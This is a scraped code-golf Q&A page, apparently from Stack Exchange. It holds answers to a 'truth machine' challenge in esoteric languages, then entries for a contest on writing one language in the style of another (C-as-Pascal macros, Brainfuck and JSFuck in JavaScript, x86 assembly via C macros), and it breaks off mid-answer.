will still be printed, then the cursor will rotate more or less times based on the value. * Multiple of 4 or 0: execution continues horizontally and ends. * Multiple of 3: Since going up is impossible, the cursor immediately rotates clockwise and continues horizontally, then ends. * Multiple of 2 and not a multiple of 4: the cursor rotates and starts moving to the left. Luckily, all this does is perform a bunch of operations that don't affect the program flow and end up emptying the stack. When an operation can't be done because the stack is empty, it is simply ignored. When it hits the top left corner, the cursor has nowhere else to go but to the right again, effectively restarting the program. * Other values: The cursor goes down as if it would with 1, which makes it print 1 forever. If the input is 5, the output will be `5111111111111...` Any non-integer value will terminate the program. Execution will continue normally, but all operations will be ignored since there is nothing in the stack. So in a way, the program never crashes - it either stops normally or loops forever. --- **PietDev friendly version** PietDev (a very basic online Piet IDE) seems to have trouble with white codels so I made a new version which manually rotates back up instead of relying on proper white codel automatic rotation. And I didn't even need to use a new color! If you want to test with it, make sure you draw a black border around the code because PietDev doesn't support custom program sizes. [![tiny version](https://i.stack.imgur.com/dSkIn.gif)](https://i.stack.imgur.com/dSkIn.gif) [![enlarged version](https://i.stack.imgur.com/pP6qn.gif)](https://i.stack.imgur.com/pP6qn.gif) --- **Older versions** The first version didn't push 1 back on the stack and instead looped back to an earlier duplication instruction. It also had decorative useless codels. [![Tiny pattern which is actually a piet code](https://i.stack.imgur.com/xGoGM.png)](https://i.stack.imgur.com/xGoGM.png) [![Enlarged version](https://i.stack.imgur.com/50aw2.png)](https://i.stack.imgur.com/50aw2.png) Then I had the idea to push 1 on the stack to remove the blank line. It's funny how I thought of it thanks to my decorative codels. [![tiny version](https://i.stack.imgur.com/K8JeP.gif)](https://i.stack.imgur.com/K8JeP.gif) [![large version](https://i.stack.imgur.com/N7l8K.gif)](https://i.stack.imgur.com/N7l8K.gif) Then I realized I had an extraneous dup that wasn't needed anymore, and I reduced the number of colors to save up on palette data in the image. I also got rid of the single decorative codel because I don't know. [Answer] # [Chip](https://github.com/Phlarx/chip), 6 bytes ``` e*faAs ``` Chip is a 2D language that behaves a bit like an integrated circuit. It takes input, one byte at a time, and breaks out the bits to individual input elements. Output stitches the values of output elements back together into bytes. Let's break this down: `*` is a source signal, it will send a true value to all adjacent elements. `e` and `f` correspond to the fifth and sixth bit of the output. So, `e*f` produces binary `00110000`, which is ASCII char "0". Now, `A` is the first bit of input and `a` is the first bit of output, so `aA` copies that bit from input to output. So, when combined with `e*f`, an input of ASCII "0" produces "0", and "1" produces "1". (There is no interaction between `f` and `a`, since neither produce any signal.) The `s` on the end, when activated by a true signal, will prevent input from advancing to the next byte, meaning that the whole thing will run again with the same input. Since the first byte of "0" is zero, it won't activate this element and the program will print "0", and thereby exhaust its input, which allows it to terminate. "1", however, activates this element, which means that "1" is output, but not consumed on the input, allowing the cycle to repeat indefinitely. If values 0x0 and 0x1 are used for output, rather than ASCII, we can eliminate the `e*f` part, resulting in only **3 bytes**: ``` aAs ``` If the zero must terminate itself, rather than expecting stdin to close, we get the following, which inverts the first byte with `~`, and passes the result to `t`, which terminates the program (**10 bytes**): ``` aA~te*f s ``` (`t` also produces no signal, so there is no interaction between `t` and `e`.) [Answer] # [Brainbool](https://esolangs.org/wiki/Brainbool), 5 bytes ``` ,.[.] ``` Brainbool is Brainfuck, but it only operates on bits, and does I/O through `0` and `1` characters. [Answer] # LOLCODE, 119 bytes ``` GIMMEH n n R SUM OF n AN 0 BOTH SAEM n AN 0, O RLY? YA RLY VISIBLE 0 NO WAI IM IN UR l VISIBLE 1 IM OUTTA UR l OIC ``` Ungolfed: ``` HAI BTW, Read n as a string from STDIN and convert to an integer GIMMEH n n R SUM OF n AN 0 BTW, Test n for equality with 0 BOTH SAEM n AN 0, O RLY? YA RLY BTW, Write 0 to STDOUT and exit VISIBLE 0 NO WAI BTW, Loop forever, printing 1 IM IN YR l VISIBLE 1 IM OUTTA YR l OIC KTHXBYE ``` [Answer] # [Bitwise Cyclic Tag](http://esolangs.org/wiki/Bitwise_Cyclic_Tag), 3 bits or < 1 byte Bitwise Cyclic Tag is one of the simplest Turing-complete languages out there. It works with two bitstrings, the *program* and the *data*. The bits of the *program* are read cyclically and interpreted as follows: * `0`: Delete the first data bit (and output it, in implementations that have output). * `1x`: If the first data bit is `1`, append `x` (representing either `0` or `1`) to the end of the data. (If the first data bit is `0`, do nothing.) The program runs until the data string is empty. ### Truth-machine ``` 110 ``` When the data string is set to `0`: * `11` does not append anything because the first data bit is not `1`. * `0` deletes/outputs `0`. * The data string is now empty and the program halts. When the data string is set to `1`: * `11` appends a `1`. * `0` deletes/outputs `1`. * The data string is back to a single `1` and the program is back to where it started, so we loop forever. [Answer] ## [Labyrinth](https://esolangs.org/wiki/Labyrinth), 7 bytes ``` ?+ @!: ``` Labyrinth is a 2D stack-based language where control flow depends on the sign of the top element of the stack, checked after every instruction. Execution begins moving rightward from the first valid instruction on the top row, which here is the `?`. The relevant instructions are: ``` ? Input integer + Add top two elements (Labyrinth's stack has infinite 0s on the bottom) : Duplicate top element ! Output as number @ Terminate program ``` If the input is 0, the IP reads input with `?`, adds the top two of the stack (`0 + 0 = 0`), then duplicates `:` and outputs `!` a 0. Here we encounter the sole junction in the program, and have to check the top of the stack to determine where to go. Since the top is 0, we move forward and terminate with `@`. On the other hand, if the input is 1, we do the same instruction as before (but outputting a 1) before reaching the junction at the `!`. Now the top of the stack is positive, causing us to turn right into the `?`. On EOF Labyrinth pushes 0, so we do `0 + 1 = 1` at the `+`, duplicate `:`, and output `!`. Once again we have a 1 at the top of the stack and the loop continues. For a bonus, here's @MartinBüttner's 7 byte solution, which operates similarly: ``` ?+!@ 1! ``` Note that, unlike most languages, `1` actually pops `n` off the stack and pushes `n*10 + 1`, making the building up of large numbers easy. However, since the top of the stack is empty at that point, it's no different from merely pushing 1. [Answer] ## C, 37 bytes A different take on how to do it in C. ``` main(c){for(gets(&c);putchar(c)&1;);} ``` `c` defaults to an `int` of value 1. `gets(&c)` gets a string from `stdin`, here clobbering the value of `c`, hackishly since `c` is not a `char*`. `putchar(c)` prints the value of `c` to `stdout`, and returns `c`. Since `'0'` is 48 and `'1'` is 49 in ASCII, we can use the last bit (`&1`) to determine which it is. If it's `'0'`, the loop breaks. Otherwise, it goes forever. Compiles (with a warning about `gets`) and runs under `gcc-4.8` on Linux. [Answer] ## [><>](https://esolangs.org/wiki/Fish), 7 bytes ``` i2%:n:, ``` This uses the fact that ><> pushes -1 on EOF, which is 1 mod 2. It also uses divide by 0 for termination (which is apparently okay since the consensus is that STDERR output is ignored). Just for reference, exiting cleanly without errors is an extra byte: ``` i2%:n?!; ``` [Answer] # [><>](http://esolangs.org/wiki/Fish), 6 bytes ``` ::n?!; ``` Pushes the input on the stack to start ``` : copy top element on stack : copy top element on stack again n pop and outputs top element ? condition trampoline - pops top element, if it is zero skips next instruction ! trampoline skips next instruction ; finish execution ``` [Answer] ## APL, 6 bytes ``` →⎕←⍣⍲⎕ ``` Explanation: ``` ⎕ Read the input, then ⎕← write it out ⍣ repeatedly ⍲ until NAND of it with itself becomes true. → Branch to zero to avoid printing the result again. ``` [Answer] ## [Seriously](https://github.com/Mego/Seriously/tree/v1), ~~4~~ 3 bytes [Crossed-out 4 is still 4 :(](https://codegolf.stackexchange.com/questions/63755/rotate-the-anti-diagonals#comment153855_63756) ``` ,W■ ``` `,` reads a value from STDIN. `W` starts a loop that runs while the value on top of the stack is truthy, with the body `■`. `■` prints the top stack element without popping. The loop is implicitly closed at EOF. On input of `0`, the loop never executes (since `0` is falsey), and the program ends at EOF, automatically popping and printing every value on the stack. On input of `1` (or any value that is not `0`, `""`, or `[]`), the loop runs infinitely. In [Actually](https://github.com/Mego/Seriously), the leading `,` is not needed (thanks to implicit input), bringing the score down to 2 bytes. [Answer] # GNU sed, 10 ``` :;/1/{p;b} ``` ### Explanation * `:` define an unnamed label * `/1/` If input matches the regex `1`, then * `p` print the pattern space (i.e. 1) * `b` and jump back to the unnamed label (forever) * If the input was not 1 (i.e. 0), then the pattern space is printed unmodified and the program ends. [Answer] ## [Brian & Chuck](https://github.com/mbuettner/brian-chuck), 21 bytes ``` ,}<-{-?<SOH>_{+? _>+{?<.p ``` Here, `<SOH>` should be replaced with the corresponding control character (0x01). ### Explanation The basic idea is to subtract the character code of the input (48 or 49) from the `p` at the end of Chuck, which will either give a `?` (which is a valid command) or a `@` which is a no-op. `,` reads the input character into Chuck's first cell (marked with `_`). We want to decrement this value down to `0` in a loop, while making some other changes: `}<` moves to the `p` and `-` decrements it. Then `{` moves back to the input cell `-` decrements that as well. As long as this isn't zero yet, `?` gives control to Chuck. Now `>` moves Brian's tape head one cell to the right (which is initialised to `1`) and `+` increments that. Then we reset the loop with `{?`. By the time the first cell on Chuck hits `0`, the `<SOH>` cell will have been incremented to the character we've read from STDIN and `p` will be `?` for input `1` or `@` for input `0`. Now `?` doesn't switch control any more. The `0` or `1` after it is a no-op, as is the null-byte (represented by `_`). `{` moves back to Chuck's first cell and `+` increments to ensure that it's positive, such that `?` hands control over to Chuck. This time `>+` increments the cell after the end of Brian's initial tape. That cell is garbage but we'll never use it. Now `{` doesn't scan all the way to the front of Brian's tape, but only to the `_`. Hence `?` is a no-op because the current cell is zero. Then `<.` moves one to the left (the copy of the input character) and prints it. Finally, we encounter the `?` or `@`. If the input was `0` and this cell is `@` it's a no-op and the program terminates. But if the input was `1` and this cell is `?` we hand over to Brian whose `{+?` will reset the loop on Chuck, and now we're printing `1`s forever (until the integer in the cell at the end of Brian's tape doesn't fit into memory any more, I suppose...). ### Bonus Sp3000 and I have been golfing away at this for several days. We started out around 40 bytes and arrived at two completely different, but tied solutions at 26 bytes. Only when I started to write up the explanation for mine, did the 21-byte solution above occur to me. Many thanks to Sp for throwing ideas around and teaching each other some golfing tricks in B&C. :) This is his 26 byte solution: ``` >,----{?{>1?0 #I<?_}<.<<<? ``` And this is mine: ``` ,{>-<-?_0+?_1{<? _®{?_{>.? ``` Where `®` is a byte with value 174 (e.g. just save the file as ISO 8859-1). At the core mine works similarly to the 21-byte solution, in that `®` becomes `}` for input `1` and `~` (no-op) for input `0`, but the execution is much less elegant. His solution is quite neat in that the source code is ASCII-only and that it doesn't require a loop to process the input. Instead, `----` turns `1` into `-` and `0` into `,` (a no-op for Chuck). That `-` will then change the first `?` on Brian's tape into a `>`, thereby creating different control flow for the `1`-case. [Answer] # Thue, 34 bytes ``` 1::=12 2::=~1 0::=~0 @::=::: ::= @ ``` **Explanation:** `1::=12` Instances of the substring "1" can become "12" `2::=~1` Instances of the substring "2" can be removed, printing "1" `0::=~0` Instances of the substring "0" can be removed, printing "0" `@::=:::` Instances of the substring "@" can be replaced with strings from the input `::=` End list of substitution rules `@` The initial string is "@" [Answer] # Arnold C, 134 bytes ``` IT'S SHOWTIME HEY CHRISTMAS TREE i YOU SET US UP 0 //or 1 STICK AROUND i TALK TO THE HAND 1 CHILL TALK TO THE HAND 0 YOU HAVE BEEN TERMINATED ``` While this isn't as entertaining as the other ArnoldC [answer](https://codegolf.stackexchange.com/a/62777/39328), it's golfed. For example, indentation is unnecessary, and so are the macros `@NO PROBLEMO` and `@I LIED`. Tested with [this version of the language](http://mapmeld.github.io/ArnoldC/), which cannot take input. [Answer] # [Cubix](https://github.com/ETHproductions/cubix), 5 ~~6~~ bytes Cubix is @ETHproductions new 2 dimensional language where the commands are wrapped around the faces of a cube. [Online interpreter](https://ethproductions.github.io/cubix) Thanks to @ETHproductions for the saving. ``` !I\@O ``` This ends up expanded out to the cube ``` ! I \ @ O . ``` This starts with the `I` command. Input an integer onto the stack. `\`, redirects the instruction pointer down over the no op. `O`, outputs the numeric value of top of stack. `!`, skip the next command (`@`) if top of stack true. This will jump the `\` redirect if 1 `\`, redirects the instruction pointer to the `@` exit program. This takes advantage of the fact the stack isn't popped by the `O ? !` commands. [Answer] ## [Foo](https://esolangs.org/wiki/Foo), 6 bytes ``` &1($i) ``` Input is hardcoded as the second character, since Foo doesn't have STDIN input. Don't we agree that Foo is awesome now? :) ### Explanation ``` &1 Set current cell to 1 ( ) Do-while loop (or, at least according to the interpreter) $i Print current cell as int ``` [Answer] # Perl, ~~18 + 1 = 19~~ 13 + 1 = 14 bytes ``` print while$_ ``` Run like this: ``` echo -n NUM | perl -p truth.pl ``` Thanks to ThisSuitIsBlackNot (who is way better at Perl golfing than me) for golfing off five bytes. ]
[Question] [ **Closed**. This question needs to be more [focused](/help/closed-questions). It is not currently accepting answers. --- **Want to improve this question?** Update the question so it focuses on one problem only by [editing this post](/posts/24623/edit). Closed 7 years ago. [Improve this question](/posts/24623/edit) > > The determined Real Programmer can write Fortran programs in any language. > > > *from Real Programmers Don't Use Pascal* Your task is to write program in your programming language of choice, but you are allowed to use only another language. That is, throw away all coding conventions from one language and replace them with coding conventions from other language. The more the better. Make your program look as if it was written in another language. For example, Python fan who hates Java could write following Python program in Java: ``` void my_function() { int i = 9 ; while(i>0) { System.out.println("Hello!") ; i = i - 1 ;}} ``` Pascal enthusiast forced to use C could write this: ``` #define begin { #define end } #define then #define writeln(str) puts(str) if (i == 10) then begin writeln("I hate C"); end ``` You have to write complete program. The program desn't have to do anything useful. Good Luck. This is a popularity contest so the code with the most votes wins! [Answer] # C in C++ ``` #include <stdio.h> int main(int argc, char** argv) { printf("Hello world!\n"); return 0; } ``` [Answer] # x86 assembly in GNU C No, I didn't just use the `asm` keyword, since the question established this is for *real* programmers... this should run fine on ARM. (Just to prove the point, I didn't "write" the assembly at all - it's the output produced by ~~GCC~~ Clang (503.0.38) for the commented code at the top, blindly translated into macros.) This only works in 32-bit mode. That's fine since *real* programmers code to the word size anyway. ``` #include <stdio.h> #include <stdint.h> /* int fac(int x) { if (x < 1) return 1; else return x * fac(x - 1); } int fib(int x) { if (x < 2) return x; else return fib(x - 1) + fib(x - 2); } int main(void) { int a = fib(10), b = fac(10); printf("%d %d\n", a, b); return 0; } */ typedef union REG { intptr_t i; int _i; void * v; union REG * r; } REG; #define LPAREN ( #define RPAREN ) #define MACRO(N) ); N##_MACRO LPAREN #define push MACRO(PUSH) #define pop MACRO(POP) #define mov MACRO(MOV) #define sub MACRO(SUB) #define add MACRO(ADD) #define imul MACRO(IMUL) #define cmp MACRO(CMP) #define jge MACRO(JGE) #define jmp MACRO(JMP) #define call MACRO(CALL) #define ret MACRO(RET) _ #define label MACRO(LABEL) #define NO_OP(X) #define PUSH_MACRO(VAL) *(esp -= 4) = (REG)(VAL) #define POP_MACRO(DST) (DST) = (typeof(DST))(esp->i); esp += 4 #define MOV_MACRO(VAL, DST) (DST) = (typeof(DST))((REG)VAL).i; #define SUB_MACRO(VAL, DST) CMP_MACRO(VAL, DST); \ (DST) = (typeof(DST))(((REG)DST).i - ((REG)VAL).i) #define ADD_MACRO(VAL, DST) DST = (typeof(DST))(((REG)DST).i + ((REG)VAL).i); \ ZF = ((REG)DST).i == 0; OF = 0; SF = ((REG)DST).i < 0 #define IMUL_MACRO(VAL, DST) DST = (typeof(DST))(((REG)DST).i * ((REG)VAL).i); \ ZF = ((REG)DST).i == 0; OF = 0; SF = ((REG)DST).i < 0 #define CMP_MACRO(L, R) CMP_MACRO_(((REG)L).i, ((REG)R).i) #define CMP_MACRO_(L, R) (OF = 0, ZF = L == R, SF = (R - L) < 0) #define JGE_MACRO(TGT) if (SF == OF) { goto TGT; } else {} #define JMP_MACRO(TGT) goto TGT; #define CALL_MACRO(PROC) CALL_MACRO_(PROC, __COUNTER__) #define CALL_MACRO_(PROC, CTR) PUSH_MACRO(CTR - STARTIP); \ goto PROC; case CTR - STARTIP: #define RET_MACRO(_) eip = esp->i; esp += 4; if (eip) { continue; } else { goto *finalreturn; } #define LABEL_MACRO(NAME) NAME #define MY_ASM(X) do { const int STARTIP = __COUNTER__; \ switch(eip) { case 0: MY_ASM_1 X } } while (1); #define MY_ASM_1(X) MY_ASM_2(NO_OP LPAREN 0 X RPAREN;) #define MY_ASM_2(X) X #define CAT(L, R) _CAT(L, R) #define _CAT(L, R) L##R #define callASM(F) callASM_(F, CAT(_TMP_, __COUNTER__)) #define callASM_(F, LABEL) (({ PUSH_MACRO(0); stackbase = esp; finalreturn = &&LABEL; \ goto F; LABEL:; }), (intptr_t)eax) const int STACKSIZE = 4096; REG callstack[STACKSIZE], * stackbase; REG * eax, * ecx, * edx, * ebx, * esi, * edi, * esp, * ebp; int SF, ZF, OF, eip; void * finalreturn; int main(void) { eax = ecx = edx = ebx = esi = edi = esp = ebp = &callstack[STACKSIZE - 1]; eip = 0; finalreturn = &&TOP; TOP: PUSH_MACRO(10); int a = callASM(_fac); PUSH_MACRO(10); int b = callASM(_fib); printf("%d %d\n", a, b); return 0; MY_ASM(( label _fac: // @fac push ebp mov esp, ebp sub 24, esp mov 8[ebp], eax mov eax, (-8)[ebp] cmp 1, (-8)[ebp] jge LBB0_2 mov 1, (-4)[ebp] jmp LBB0_3 label LBB0_2: mov (-8)[ebp], eax mov (-8)[ebp], ecx sub 1, ecx mov ecx, *esp mov eax, (-12)[ebp] // 4-byte Spill call _fac mov (-12)[ebp], ecx // 4-byte Reload imul eax, ecx mov ecx, (-4)[ebp] label LBB0_3: mov (-4)[ebp], eax add 24, esp pop ebp ret label _fib: // @fib push ebp mov esp, ebp sub 24, esp mov 8[ebp], eax mov eax, (-8)[ebp] cmp 2, (-8)[ebp] jge LBB1_2 mov (-8)[ebp], eax mov eax, (-4)[ebp] jmp LBB1_3 label LBB1_2: mov (-8)[ebp], eax sub 1, eax mov eax, *esp call _fib mov (-8)[ebp], ecx sub 2, ecx mov ecx, *esp mov eax, (-12)[ebp] // 4-byte Spill call _fib mov (-12)[ebp], ecx // 4-byte Reload add eax, ecx mov ecx, (-4)[ebp] label LBB1_3: mov (-4)[ebp], eax add 24, esp pop ebp ret )) } ``` Just look at all those casts. Casts mean I'm a *realer* programmer than the compiler, right? [Answer] # English in C ``` #include <stdio.h> #define This #define program int main() { #define aims #define to #define output printf( #define some #define example #define text(a) #a #define the #define screen "\n"); #define it #define also #define will #define calculate ;int a = #define result #define of #define and #define print ; printf("%d\n", a); #define seriously return 0; } This program aims to output some example text (Hello) to the screen; it also will calculate the result of 3 + 4 and print the result; seriously ``` Any ideas to eliminate the `;`? [Answer] I think the brilliant [Lennart Augustsson](http://augustss.blogspot.jp/) has already won this twice. First, here's an example of his "weekend hack" implementation of BASIC as a Haskell Monadic DSL, from 2009: ``` import BASIC main = runBASIC' $ do 10 LET I =: 1 20 LET S =: 0 30 LET S =: S + 1/I 40 LET I =: I + 1 50 IF I <> 100000000 THEN 30 60 PRINT "Almost infinity is" 70 PRINT S 80 END ``` It works by overloading the number type. The line numbers are really functions that accept arguments. The rest of the line is arguments to the function. The function returns a representation of the Abstract Syntax Tree for the BASIC interpreter to go to work on. I also recommend you check out Augustsson's entry to the 2006 International Obfuscated C Contest, in which he managed to squeeze into 4k: * A bytecode interpreter, written in a subset of C (which he calls Obfuscated C). * An *Obfuscated C -> bytecode* compiler, written in bytecode. They can share the same file because the bytecode is placed inside C comments. It's a few years since I followed Augustsson's work, so there may well be other brilliant things he's come up with since then.... [Answer] ## Brainfuck in JavaScript Javascript is a difficult language ! Let us use Brainfuck, a more understandable language :o) ``` eval( //write your easy code below "++++++++++[>+++++++>++++++++++>+++>+<<<<-]>++.>+.+++++++..+++.>++.<<+++++++++++++++.>.+++.------.--------.>+.>." //end of easy code .replace(/\]/g,'}') .replace(/\[/g,'while(a[i]){') .replace(/\+/g,'a[i]++;') .replace(/-/g,'a[i]--;') .replace(/>/g,'i++;') .replace(/</g,'i--;') .replace(/\./g,'o+=String.fromCharCode(a[i]);') .replace(/,/g,'a[i]=u.charCodeAt(j++);') .replace(/^/,'var a=new Array(1000).join(\'0\').split(\'\'),i=500,o=\'\',u=prompt(\'Enter input if needed\'),j=0;') .replace(/$/,'alert(o)') ) ``` I guess I wrote a brainfuck interpreter in javascript. The example above simply ouputs `Hello World!` and ignore the input (no `,` symbol). But that works with inputs too ! For example, try `,+>,+>,+>,+<<<.>.>.>.` and type `golf` in the dialog. It will ouputs the next characters in ASCII table : `hpmg` **EDIT** : Short explanation for people who don't know brainfuck. Imagine an infinite array of integers `a` initialized to zero everywhere, a pointer on one element of this array `i`, and a user input `u`. Brainfuck is really easy to learn but difficult to write : * `+` increments to current value : `a[i]++` * `-` decrements it : `a[i]--` * `>` makes to pointer points the next element : `i++` * `<` the previous : `i--` * `[` and `]` define a loop which breaks when current value is zero : `while (a[i]) { ... }` * `.` print the current element : `String.fromCharCode(a[i])` * `,` sets the current element with user input : `u.charCodeAt(...)` [Answer] # PHP and Javascript This is a polyglot: You can run this code in both languages: ``` if("\0"=='\0') { function printf(){ $b=Array(); $a=$b['slice']['call'](arguments); $a=$a['join'](''); console.log($a); return $a.length; }; function strtoupper($s){return $s['toUpperCase']();} function count($a){return $a['length'];} } printf('this is cool!'); $c=Array('a','b','c','d'); for($i=0,$l=count($c);$i<$l;++$i)printf("\n",strtoupper($c[$i])); ``` The trick here is that Javascript uses escape sequences in strings starting with `'` and `"`. On the other hand, PHP only uses escape sequences in strings starting with `"` and `<<<`. Then, we declare the function `printf`, which is similar to `print` but outputs a formated string in PHP. PHP **requires** that vars start with `$`, while Javascript simply allows. [Answer] **Brainfuck in JS** ``` [][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[ !+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[ +!+[]]]]][([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+( ![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(! ![]+[])[+[[+!+[]]]]]+[])[+[[!+[]+!+[]+!+[]]]]+([][(![]+[])[+[[+[]]]]+([][[]]+ [])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]] ]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]+[])[+[[!+[]+!+[]+!+[ ]+!+[]+!+[]+!+[]]]]+([][[]]+[])[+[[+!+[]]]]+(![]+[])[+[[!+[]+!+[]+!+[]]]]+(!! []+[])[+[[+[]]]]+(!![]+[])[+[[+!+[]]]]+([][[]]+[])[+[[+[]]]]+([][(![]+[])[+[[ +[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(! ![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]+[])[+ [[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[ [!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!! []+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]+[])[+[[!+[]+!+[]+!+[]+!+[] +!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]((![]+[])[+[[+!+[]]]]+(![]+[])[+[[!+[]+!+ []]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]+(!![]+[])[+[[+[]]] ]+([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[ +[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[ +[[+!+[]]]]]+[])[+[[+!+[]]]+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+[+!+[]]+([][(![]+[] )[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]] ]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]+ [])[+[[+!+[]]]+[[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]]])() ``` [Answer] This is [one of the 2005 IOCCC winners](http://www.ioccc.org/2005/chia/chia.c), a C program that, except by that bunch of defines, looks like a java program: ``` /* * Sun's Java is often touted as being "portable", even though my code won't * suddenly become uber-portable if it's in Java. Truth is, Java's one of * the most ugly, slow, and straitjacketed languages ever. It's popular * mainly because people hear the word "portable" and go "ewww". * * This program, then, is dedicated to bringing about the death of Java. We * good coders have been oppressed for too long by the lame language * decisions of pointy-haired bosses and academics who should know better. * It's time we stand up against this junk, and bring back the fun in * programming! Viva La Revolution! */ #define aSet c #define BufferedReader(x)1 #define byte Y[I][_^1]?do(:):_&1?do(.):do(`):8;++y;} #define class int N=0,_,O=328,l=192,y=4,Y[80][64]={0},I;struct #define do(c)a(#c "\b") #define err c,c #define getAllStrings(x));q() #define if(x)b(#x) #define IOException #define line c #define main(a)b(char*x){write(1,"\033[",2),null}main() #define new #define null a(x);}a(char*x){write(1,x,strlen(x));try;try;try;try; #define out c,c #define println(x)c #define private int d(int #define public short c;}c;typedef int BufferedReader;char*F="JF>:>FB;;BII"; #define return {return #define static f(x){N=(N+x)%6,y--?f(0),f(1),f(4),f(1):++Y[(I=O+N[F]-66) #define String #define System c #define this if(D):1,O=I,I/=16,l<_/32?if(B):l>_/32?if(A):2,l=_,_/=16,byte #define throws #define toArray(x)c #define try for(;--c.c;) #define void /16][(_=l+N[6+F]-66)/16]?O/=16,l/=32,O<I/16?if(C):O>I/16?this #define while(k)if(2J),if(7;21H),f(0),f(4),f(4),if(H),/* import java.io.*; import java.util.*; /** * A lame Java program. * @author J. Random Worker */ class LameJavaApp { /** The infamous Long-Winded Signature From Hell. */ public static void main(String[] args) throws IOException { /* Don't get me started on this. */ BufferedReader reader = new BufferedReader(new FileReader(args[0])); /* What, this long incantation just to print a string? */ System.err.println("Hello world!"); /* At least this is sane. */ String line; while ((line = reader.readLine()) != null) System.out.println(line.length()); } /** * Method with a needlessly long name. * @param aSet a set (!) */ private String[] getAllStrings(Set<String> aSet) { /* * This dance is needed even in J2SE 5, which has type * templates. It was worse before that. */ return aSet.toArray(new String[0]); } } ``` [Answer] # C++ in C OK, so you are a C++ programmer, but are forced to use C? No problem, you just have to write some supplementary headers missing in C. For example, here's a valid Hello World program in C: In the supplementary header file `iostream`, write: ``` #include <stdio.h> #define using volatile int #define namespace message #define std = 0 #define message(x) printf("%s\n",x) #define cout 0 #define endl 0 ``` In file `string`, write ``` #define string ``` In file `helloworld.c` (your actual C code), write ``` #include <iostream> #include <string> using namespace std; int main() { string message("Hello world"); cout << message << endl; return 0; } ``` And when compiling `helloworld.c` with a C compiler, instruct the compiler to also look for `<...>` header files wherever you stored the files `iostream` and `string`, for example, if you are compiling with gcc and put the files `iostream` and `string` in the current directory, compile with ``` gcc helloworld.c -o helloworld -I. ``` Note: The `volatile` in header `iostream` is there to enable a warning-free compile even at maximum warning level (a read from a volatile variable is considered to have an effect). [Answer] ## CQL - Caffeinated Query Language (or "SQL on Caffeine") This may have been somewhat overly ambitious. Here is an attempt to write SQL(ish) declarative code in **CoffeeScript**. This requires the [ECMAScript 6 Proxy feature](http://wiki.ecmascript.org/doku.php?id=harmony%3adirect_proxies). You can test it in node with `--harmony-proxies`. Let's set up a template for defining proxies. (Taken from [Benvie's comment on this issue](https://github.com/joyent/node/issues/4138)) ``` forward = (-> _slice = Array.prototype.slice _bind = Function.prototype.bind _apply = Function.prototype.apply _hasOwn = Object.prototype.hasOwnProperty Forwarder = (target) -> @target = target this Forwarder.prototype = getOwnPropertyNames: -> Object.getOwnPropertyNames(@target) keys: -> Object.keys(@target) enumerate: -> i = 0 keys = [] for value of @target keys[i++] = value keys getPropertyDescriptor: (key) -> o = @target; while o desc = Object.getOwnPropertyDescriptor o, key if desc desc.configurable = true; return desc; o = Object.getPrototypeOf o getOwnPropertyDescriptor: (key) -> desc = Object.getOwnPropertyDescriptor @target, key if desc desc.configurable = true desc defineProperty: (key, desc) -> Object.defineProperty @target, key, desc get: (receiver, key) -> @target[key] set: (receiver, key, value) -> @target[key] = value; true has: (key) -> key of @target hasOwn: (key) -> _hasOwn.call @target, key delete: (key) -> delete @target[key] true apply: (receiver, args) -> _apply.call @target, receiver, args construct: (args) -> new (_bind.apply @target, [null].concat args); forward = (target, overrides) -> handler = new Forwarder target; for k of Object overrides handler[k] = overrides[k] if typeof target is 'function' return Proxy.createFunction handler, -> handler.apply this, _slice.call arguments, -> handler.construct _slice.call arguments else return Proxy.create handler, Object.getPrototypeOf Object target forward )(); ``` Now define a proxy object and some suspicious global variables and functions: ``` sql = forward { tables: {} finalize: -> if typeof @activeRows isnt 'function' @result = [] for row in @activeRows @result.push (val for val, i in row when @activeTable.columns[i] in @activeColumns) delete @activeRows delete @activeColumns delete @activeTable run: (q) -> q.call(this) @finalize() result = @result delete @result if typeof result isnt 'function' then console.log result return result }, { get: (o,name) -> if name of @target return @target[name]; (args...) -> { name args } } int = Number varchar = (l) -> String TABLE = (x) -> x INTO = (x) -> x CREATE = (tableData) -> name = tableData.name table = columns: [] column = tableData.args[0] table[column.name] = [] table.columns.push(column.name) while column = column.args[1] table[column.name] = [] table.columns.push(column.name) sql.tables[name] = table sql.result = "Created table '#{name}'" INSERT = (table) -> sql.activeTable = sql.tables[table().name] VALUES = (rows...) -> for row in rows for val, i in row column = sql.activeTable.columns[i] sql.activeTable[column].push val sql.result = "Inserted #{rows.length} rows" FROM = (table) -> sql.activeTable = sql.tables[table().name] SELECT = (columns...) -> 